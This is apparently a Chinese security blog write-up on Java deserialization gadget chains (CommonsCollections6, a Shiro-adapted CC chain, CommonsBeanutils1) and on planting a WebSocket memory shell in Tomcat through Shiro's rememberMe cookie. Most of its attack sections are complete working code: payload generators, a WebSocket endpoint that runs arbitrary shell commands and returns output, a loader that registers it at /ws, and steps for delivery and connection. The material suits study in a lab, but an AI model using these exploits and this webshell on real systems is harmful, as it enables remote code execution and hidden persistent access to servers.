因为一直想要学习反序列化相关的内容,并且从反序列化延伸出来学习内存马,所以花了很大一部分精力,从CC1到CB,整体地过了一遍反序列化利用链。在学习过程中,发现一个很有意思的内存马,WebSocket内存马,感觉如果用的好的话,挺符合实际需要的,所以自己大体利用了一下,很成功,在这里整理分享出来。
代码分析工具idea
shiro反序列化靶场(Tomcat):https://github.com/yyhuni/shiroMemshell
BurpSuite抓包工具
Websocket内存马相关代码
wscat工具(npm install -g wscat)
反序列化我之前只学过PHP的,JAVA反序列化基本上从0开始学。P牛的《Java安全漫谈》很通俗易懂,很适合新人,然后我是结合着LSF的《Java反序列化漏洞学习 Commons Collection》一起学习的。
最早在PHP中接触的反序列化,主要是CTF比赛题,但是因为比较靠研究型的东西,现在忘记的差不多了。另外学习的是一个反序列化漏洞,某PHP博客系统前台反序列化getshell,通过unserialize()函数触发的反序列化。
java反序列化概念:
序列化:将java对象以字节的形式保存到本地磁盘上的过程,也可以理解成将抽象的java对象保存到文件的过程。这里保存的文件可以一直存在,只需要在需要的时候调用即可。 反序列化:将保存下来的java字节码还原成JAVA的过程。
1、要想有序列化的能力,需要实现Serializable或Externalizable接口。也就是说,一整个利用链中涉及到的类,都需要达到这个要求。
2、ObjectOutputStream.readObject -> 具体类.readObject。序列化的类,需要重写readObject,如果没有重写,则会到其父类的readObject。
3、Java在反序列化的时候有一个机制,序列化时会根据固定算法计算出一个当前版本下类的 serialVersionUID 值,如果反序列化前后serialVersionUID 不同,即版本不同,就会异常退出。
4、反序列化漏洞的产生是因为反序列化过程中,会自动执行到序列化对象所在类的readObject()方法,如果该方法能够通过多次调用触发命令执行,则存在漏洞。
5、CC链的核心就是Transformer,InvokerTransformer实现了Transformer接⼝,反序列化中可以利用InvokerTransformer执行任意对象的任意方法。
6、shiro自带CB,版本为1.8.3。
7、Class.forName 支持加载数组,而 ClassLoader.loadClass 不支持加载数组。
8、如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。
1、了解过CC链的话,应该都知道CC是因为Transformer可以执行任意代码而产生的。CC6的反序列化利用代码如下,传入一个字符串命令,返回序列化后的字节码。
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.ByteArrayOutputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map; public class CommonsCollections6 { public byte[] getPayload(final String commond) throws Exception { Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {commond}), }; Transformer transformerChain = new ChainedTransformer(fakeTransformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap,transformerChain); TiedMapEntry tme = new TiedMapEntry(outerMap, "key"); HashSet hashSet = new HashSet(1); hashSet.add(tme); outerMap.remove("key"); Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(transformerChain, transformers); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(hashSet); oos.flush(); oos.close(); return barr.toByteArray(); } }
2、首先查看最后面,writeObject的是hashSet,可以定位到HashSet.readObject,其重写了readObject方法。
中间应该是有ObjectInputStream.readObject()到HashSet.readObject()的过程,可以参考我之前写的文章:
https://wx.zsxq.com/dweb2/index/topic_detail/584124554842484
3、那么,是怎么从HashSet.readObject()一直到触发transform()的呢,因为知道最后流程会走到InvokerTransformer.transform(),所以直接在这里下一个断点。
简单写个class调用POC
import com.vuln.ser.CommonsCollections6; import java.io.ByteArrayInputStream; import java.io.ObjectInputStream; public class TestCC6 { public static void main(String[] args) throws Exception{ byte[] payloads = new CommonsCollections6().getPayload("/System/Applications/Calculator.app/Contents/MacOS/Calculator"); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(payloads)); ois.readObject(); ois.close(); } }
4、debug之后可以看到是这样调用的
transform:125, InvokerTransformer (org.apache.commons.collections.functors) transform:123, ChainedTransformer (org.apache.commons.collections.functors) get:158, LazyMap (org.apache.commons.collections.map) getValue:74, TiedMapEntry (org.apache.commons.collections.keyvalue) hashCode:121, TiedMapEntry (org.apache.commons.collections.keyvalue) hash:339, HashMap (java.util) put:612, HashMap (java.util) readObject:342, HashSet (java.util)
5、与CC1一样,通过LazyMap.get调用到transform。在一个if判断中,如果当前map中的key与传入的key对象不相同,则调用transform执行它。
所以构造POC时,需要执行remove操作。也可以使用clear清空,道理相同。
6、IF判断进入了,这里还有一个问题,transform为this.factory.transform,而我们需要调用的是InvokerTransformer.transform。
查看factory,这是一个Transformer对象;并且在被public修饰的一个decorate方法中,传入一个Map对象和Transformer对象,则调用构造方法执行它们
构造方法也很简单,就是将传入的Transformer对象指定为this.factory
7、有了前面的铺垫,我们可以构造POC中的一部分代码
//创建transformer数组,内容为多次调用InvokerTransformer.transform反射执行Runtime.exec Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{commond}),}; //通过ChainedTransformer循环执行transformers数组内容 Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap,TransformerChain); outerMap.remove("key");
8、为什么这里传入的是ChainedTransformer,其实主要是因为ChainedTransformer.transform可以循环执行Transformer数组,方便调用多次InvokerTransformer
9、回到完整的POC,这里有三处地方可以一起解释
第一处,创建一个没有实际意义的Transformer数组;第二处,LazyMap.decorate时,调用的是这个无用的数组;第三处,反射获取class对象的属性并重新赋值。这里的作用只有一个,防止初始化对象的时候就触发命令执行。
其中第三处因为有的时候很多地方需要反射重新赋值,容易显得代码很冗余,所以常常被封装成方法调用。
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
10、前面发现需要调用LazyMap.get,然后可以定位到TiedMapEntry.getValue,这个方法是调用this.map.get方法,并且在它的构造方法中可以指定map。
这里对应POC中的
TiedMapEntry tme = new TiedMapEntry(outerMap, "key");
11、然后搜索哪里调用了TiedMapEntry.getValue,定位到org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode
12、hashCode就很熟悉了,HashMap.put调用HashMap.hash,HashMap.hash中调用key.hashcode,所以只要设置key为TiedMapEntry对象即可完成后面的调用
13、怎么调用HashMap.put呢,ysoserial中的CC6通过HashSet.readObject,在342行,调用了map.put()
按住command键点击map,可以看到定义了this.map就是HashMap
在HashSet.add可以将key设置进map中
整理出最后的POC部分
HashSet hashSet = new HashSet(1); hashSet.add(tme);
14、《JAVA安全漫谈》中给出了不同的选择,HashMap.readObject中,1413行直接可以调用到HashMap.hash
所以这里不需要HashSet,直接使用HashMap即可,通过put方法将key设置进map中
Map expMap = new HashMap(); expMap.put(tme, "value");
1、P牛指出过,如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。
2、所以针对CC6攻击shiro,需要去掉Transformer数组,使用TemplatesImpl加载Java字节码的方式替换反射Runtime命令执行
这里进行了3次反射赋值,具体流程为:
初始化之后调用 TemplatesImpl#newTransformer()
然后到 TemplatesImpl#getTransletInstance(),这里有限制条件_name不为null,_class为null
继续到 TemplatesImpl#defineTransletClasses(),这里限制_bytecodes不为null
然后 run()方法中调用了_tfactory.getExternalExtensionsMap(),需要_tfactory不能为null
3、要调用TemplatesImpl利用链,那么就需要调用newTransformer,可以通过InvokerTransformer实现,先设置一个无害的getClass方法
后面反射设置值为newTransformer
4、完整的利用代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map; public class CommonCollectionShiro { public byte[] getPayload(byte[] clazzBytes) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][] {clazzBytes}); setFieldValue(templates, "_name", "HelloTemplatesImpl"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); Transformer transformer = new InvokerTransformer("getClass", null, null); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tme = new TiedMapEntry(outerMap, templates); Map expMap = new HashMap(); expMap.put(tme, "valuevalue"); outerMap.clear(); setFieldValue(transformer, "iMethodName", "newTransformer"); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(expMap); oos.close(); return barr.toByteArray(); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
5、利用CCshiro执行命令弹出计算器
运行环境
生成payload,Evil为简单的打开计算器命令
攻击成功
1、CC链已经很久了,commons-collections组件也成为了非必要都禁用的存在。但是很巧的,shiro自带了commons-beanutils1.8.3,所以可以打CB链的反序列化
2、在前面的内容中介绍了一个TemplatesImpl,可以加载执行java字节码,因为内存马的存在,所以TemplatesImpl相对于反射调用Runtime更加实用。
有一个需要注意的点,被加载的恶意类,需要继承AbstractTranslet类,并且继承此类会自动实现两个transform方法。
3、前面介绍了CC链的关键是Transformer可以执行任意方法。CB链的关键则是静态方法 PropertyUtils.getProperty ,可以让使用者直接调用任意JavaBean的getter方法
4、TemplatesImpl利用链Gadget如下,在getOutputProperties方法中调用newTransformer触发利用链。而getOutputProperties正巧符合 JavaBean的getter方法 这一条件
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
5、org.apache.commons.beanutils.BeanComparator#compare 中,传入两个对象,如果当前property不为空,则调用PropertyUtils.getProperty处理该对象,符合触发情况
6、定位到property,可以看到BeanComparator存在3个构造方法,如果初始化的时候没有传值,那么默认就是空的,并且通过private修饰。所以需要反射赋值。因为要调用getOutputProperties,所以这里property需要指定值为TemplatesImpl中的属性
搜索Properties属性集,找到_outputProperties
7、然后找哪里调用了compare,CB1中是通过PriorityQueue.siftDownUsingComparator。在compare中有两个参数,一个x为传入的对象,一个c为queue数组中的对象。很容易理解就是传入两个参数并比较它们。
定位comparator,是一个Comparator对象,这里需要的是BeanComparator对象
8、PriorityQueue.siftDown 调用了 siftDownUsingComparator,条件是comparator不为空
9、继续往前,java.util.PriorityQueue#heapify 调用了siftDown
10、然后就到起点了,java.util.PriorityQueue#readObject 调用了heapify
11、Gadget Chain:
getOutputProperties:506, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeMethod:2170, PropertyUtilsBean (org.apache.commons.beanutils) getSimpleProperty:1332, PropertyUtilsBean (org.apache.commons.beanutils) getNestedProperty:770, PropertyUtilsBean (org.apache.commons.beanutils) getProperty:846, PropertyUtilsBean (org.apache.commons.beanutils) getProperty:426, PropertyUtils (org.apache.commons.beanutils) compare:157, BeanComparator (org.apache.commons.beanutils) siftDownUsingComparator:721, PriorityQueue (java.util) siftDown:687, PriorityQueue (java.util) heapify:736, PriorityQueue (java.util) readObject:796, PriorityQueue (java.util) readObject:459, ObjectInputStream (java.io)
12、了解了整个CB链还不能使用,如何完成POC编写呢,需要一步一步来
首先知道是通过 TemplatesImpl 加载恶意字节码,这里通过一个专门获取恶意类字节码的库javassist.ClassPool,获取了Evil恶意类字节码
13、然后创建BeanComparator对象。并且因为需要调用PriorityQueue.readObject,所以还需要创建PriorityQueue对象。前面了解了需要指定comparator为BeanComparator对象,找到这个构造方法,需要传递两个参数,一个为需要大于1的整型数字,一个为BeanComparator对象
进一步完善POC
14、下一步,将恶意对象传入queue中,找到java.util.PriorityQueue#offer方法,将传入的对象赋值到queue数组中。
常见的是使用add(),与offer()是一样的,add()最后调用的也是offer()
15、将恶意对象offer进去之后,调用链已经基本完成了,反射指定property值即可。
执行成功弹出计算器
16、然后,不出意外的话,出意外了,前面说到,此时的利用链不能用CC了,但是当我们反射指定property值后,构造方法调用了CC中的类。
解决方法就是自己指定Comparator对象,找了3种方法,放在代码中了,P牛使用的是方法一
17、完整的利用代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Collections; import java.util.Comparator; import java.util.PriorityQueue; public class CommonsBeanutils1Shiro { public byte[] getPayload(byte[] clazzBytes) throws Exception { TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); //BeanComparator中引用了CC包中的ComparableComparator类 //但是shiro中没有CC包,所以使用BeanComparator会报错,所以需要找到替换的类 /* 新的类需要满足以下条件: 1、实现 java.util.Comparator 接口 2、实现 java.io.Serializable 接口 3、Java、shiro或commons-beanutils自带,且兼容性强 */ //方法一:类 CaseInsensitiveComparator#Comparator //通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的 CaseInsensitiveComparator 对象,用它来实例化 BeanComparator final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); //方法二:类Collections$ReverseComparator //通过反射获取类 //需要转换类型为Comparator // Class clazz = Class.forName("java.util.Collections$ReverseComparator"); // Constructor constructor = clazz.getDeclaredConstructor(); // constructor.setAccessible(true); // // Comparator ob = (Comparator) constructor.newInstance(); // final BeanComparator comparator = new BeanComparator(null, ob); //方法三:类Collections$ReverseComparator //直接调用reverseOrder方法,返回的是一个ReverseComparator对象 // final BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder()); // BeanComparator comparator = new BeanComparator(); PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); queue.add("1"); queue.add("1"); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{obj, obj}); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); return barr.toByteArray(); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
利用CB1shiro,成功弹出计算器
在攻防技术稳步提升的社会现状,相较于传统的将一句话木马上传到服务器上的落地文件getshell的方式,更多的是选择直接将内存马注入到中间件或组件中。shiro反序列化注入冰蝎内存马已经有现成的工具并且很适合实战使用了,后面发现Websocket内存马,不同于以往的直接将内存代码打入注册websocket服务。
1、首先准备一个WebSocket_Cmd,在onMessage方法中放入命令执行代码。同理要注入websocket只需要改此处内容,详情可以看veo师傅的github项目。
import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.tomcat.websocket.server.WsServerContainer; import javax.websocket.*; import javax.websocket.server.ServerContainer; import javax.websocket.server.ServerEndpointConfig; import java.io.InputStream; public class WebSocket_Cmd extends Endpoint implements MessageHandler.Whole<String> { private Session session; public void onMessage(String message) { try { boolean iswin = System.getProperty("os.name").toLowerCase().startsWith("windows"); Process exec; if (iswin) { exec = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", message}); } else { exec = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", message}); } InputStream ips = exec.getInputStream(); StringBuilder sb = new StringBuilder(); int i; while((i = ips.read()) != -1) { sb.append((char)i); } ips.close(); exec.waitFor(); this.session.getBasicRemote().sendText(sb.toString()); } catch (Exception e) { e.printStackTrace(); } } @Override public void onOpen(Session session, EndpointConfig config) { this.session = session; this.session.addMessageHandler(this); } }
2、将恶意类转换成字节数组
import javassist.ClassPool; import javassist.CtClass; import java.util.Arrays; public class GetByteTools { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(WebSocket_Cmd.class.getName()); byte[] payloads = clazz.toBytecode(); System.out.println(Arrays.toString(payloads)); } }
3、将获取到的字节数组加入到字节码处,生成内存马。因为要打TemplatesImap,所以继承了AbstractTranslet。
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.catalina.webresources.StandardRoot; import org.apache.tomcat.websocket.server.WsServerContainer; import javax.websocket.DeploymentException; import javax.websocket.server.ServerContainer; import javax.websocket.server.ServerEndpointConfig; import java.lang.reflect.Field; import java.lang.reflect.Method; public class TemplatesImplWebSocket extends AbstractTranslet { static { try { String urlPath = "/ws"; WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources(); if (standardroot == null){ Field field; try { field = webappClassLoaderBase.getClass().getDeclaredField("resources"); field.setAccessible(true); }catch (Exception e){ field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources"); field.setAccessible(true); } standardroot = (StandardRoot)field.get(webappClassLoaderBase); } StandardContext standardContext = (StandardContext) standardroot.getContext(); //以字节码方式 defineclass //字节数组通过 GetByteTools 获取 ClassLoader cl = Thread.currentThread().getContextClassLoader(); Class clazz; byte[] bytes = new byte[]{字节码}; Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); method.setAccessible(true); clazz = (Class) method.invoke(cl, bytes, 0, bytes.length); //后面部分不变,build设置好的恶意类 ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(clazz, urlPath).build(); WsServerContainer container = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName()); if (null == container.findMapping(urlPath)) { try { container.addEndpoint(configEndpoint); } catch (DeploymentException e) { e.printStackTrace(); } } } catch (Exception e) { e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
tomcat大小问题绕过参考洋洋师傅的文章:绕过maxHttpHeaderSize,我采用从POST请求体中发送字节码数据的方式进行绕过。
1、生成MyTomcatClassLoader
将生成的payload放到rememberMe后
2、通过如下代码,获取websocket内存马的classData。具体路径一般在本项目下的targets目录
import java.io.File; import java.io.FileInputStream; import java.net.URLEncoder; import java.util.Base64; public class getClassData { public static void main(String[] args) throws Exception { File file = new File("TemplatesImplWebSocket.class路径"); FileInputStream inputFile = new FileInputStream(file); byte[] buffer = new byte[(int)file.length()]; inputFile.read(buffer); inputFile.close(); String base64Str = Base64.getEncoder().encodeToString(buffer); String urlStr = URLEncoder.encode(base64Str,"UTF-8"); System.out.println("========ClassData========="+"\n"); System.out.println(urlStr+"\n"); System.out.println("========ClassData========="+"\n"); } }
3、将生成的classData放入数据包的POST字段,发送数据包,注入内存马
4、使用wscat连接即可,路径在TemplatesImplWebSocket中设置的,为/ws
学习反序列化和内存马已经很长一段时间了,看网上的文章也总是发现这样的问题,一个是JAVA基础欠缺,在反序列化部分很多底层知识还理解的很浅显;第二是有些复杂的地方,文章中一笔带过了,自己也一笔带过了。但是是能够体会到自己的成长的,一开始只会使用Ysoserial工具,shiro反序列化工具,JNDI注入工具,到现在,能够理解它大体的原理,现在想来,是挺开心的一件事。
http://tttang.com/archive/1337/
https://github.com/yyhuni/shiroMemshell
https://www.freebuf.com/vuls/329299.html
https://github.com/veo/wsMemShell
https://xz.aliyun.com/t/10696